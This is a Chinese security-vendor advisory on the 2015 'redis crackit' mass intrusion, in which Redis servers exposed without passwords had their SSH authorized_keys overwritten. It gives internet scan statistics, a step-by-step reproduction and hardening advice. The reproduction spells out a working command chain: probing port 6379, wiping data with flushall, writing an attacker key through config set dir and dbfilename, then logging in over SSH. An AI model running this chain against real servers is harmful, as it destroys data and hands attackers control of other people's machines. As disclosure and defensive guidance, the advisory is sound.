来自:http://www.cnblogs.com/ohaha/p/4959786.html
事件描述
11月9日早上10点多牛盾云安全收到几台客户服务器的安全监控系统告警,发现几台系统公钥文件被篡改,随后进行安全事件分析处理。在分析过程中我们发现了某黑客组织利用redis设计缺陷的攻击痕迹。考虑到攻击方式简单但影响极大,我们对此次安全事件做了进一步分析,发现这是针对全球互联网的全网性入侵事件。如果您的linux服务器上运行的redis没有设置密码,很可能已经受到了此次安全事件影响。结果将导致:redis数据丢失,服务器的ssh公钥被替换。
我们就此次安全事件预警式的针对全球6379端口的redis服务器做了扫描,结果如下图:
如图开放在公网的redis的6379端口的ip总数有63443个。无密码认证的IP有43024个,在总数占比里达到67%。发现遭受到redis crackit事件影响的服务器达到35024,在总数占比中达到55%,在无密码认证的redis数量中占比达到81%左右。
事件缘由
很多使用者都是把redis下载到服务器直接运行使用,无ACL,无密码,root运行,且绑定在0.0.0.0:6379,暴露在公网。攻击者在未授权访问 redis 的情况下通过redis本身的机制,可以将自己的公钥或者其他恶意程序写入目标服务器中,从而可以直接控制目标服务器。
还原攻击过程
寻找无验证的redis服务:
$ telnet192.168.1.11 6379
Trying192.168.1.11...
Connectedto192.168.1.11.
Escape character is'^]'.
echo"Hey,NOAUTH!"
$13
"Hey,NOAUTH!"
quit
+OK
Connection closed byforeign host.
制作SSH密钥和公钥:
$ ssh-keygen -t rsa -C"crack@redis.io"
Generatingpublic/private rsakey pair.
Enter file inwhichtosave thekey(/home/antirez/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty forno passphrase):
Enter same passphrase again:
Your identification has been saved in./id_rsa.
Yourpublic keyhas been savedin./id_rsa.pub.
Thekeyfingerprintis:
f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27crack@redis.io
Thekey's randomart imageis:
+-- [ RSA2048] ----+
| . 0+. |
| . o o..o*o |
| = . + .+ . |
| o B o . |
| . o S E . |
| . o |
| |
| |
| |
+---------------------+
把公钥内容写入foo.txt:
(echo-e"\n\n"; cat id_rsa.pub; echo-e"\n\n") > foo.txt
把SSH公钥写入redis:
redis-cli -h 192.168.1.11flushall
cat foo.txt | redis-cli -h 192.168.1.11-xsetcrackit
覆盖系统用户原来的SSH公钥:
192.168.1.11:6379>config set dir/Users/antirez/.ssh/
OK
192.168.1.11:6379>config get dir
1)"dir"
2)"/Users/antirez/.ssh"
192.168.1.11:6379>config setdbfilename"authorized_keys"
OK
192.168.1.11:6379>save
OK
通过SSH登入服务器:
$ ssh -i id_rsa antirez@192.168.1.11
Enter passphrase forkey'id_rsa':
Last login: Mon Nov 2 15:58:43 2015 from192.168.1.10
~➤hostname
Salvatores-MacBook-Air.local
修补加固建议
1. 环境安全:
无需外网访问的可以绑定本地回环
需要对外的增加ACL进行网络访问控制
可以借用stunnel等工具完成数据加密传输
2. 给redis设定密码
3. 创建单独的nologin系统账号给redis服务使用
4. 禁用特定命令:
rename-command CONFIG ""
最后,希望各位SA尽快检查服务器消除缺陷,任何问题欢迎随时联系牛盾云安全技术支持交流(企业QQ800109969),牛盾云安全将一如既往冲锋在安全的第一战线守护您的网站。CloudXNS的用户也无需担心,只要账号在牛盾云加速网站登录过,即可享受其对应的服务。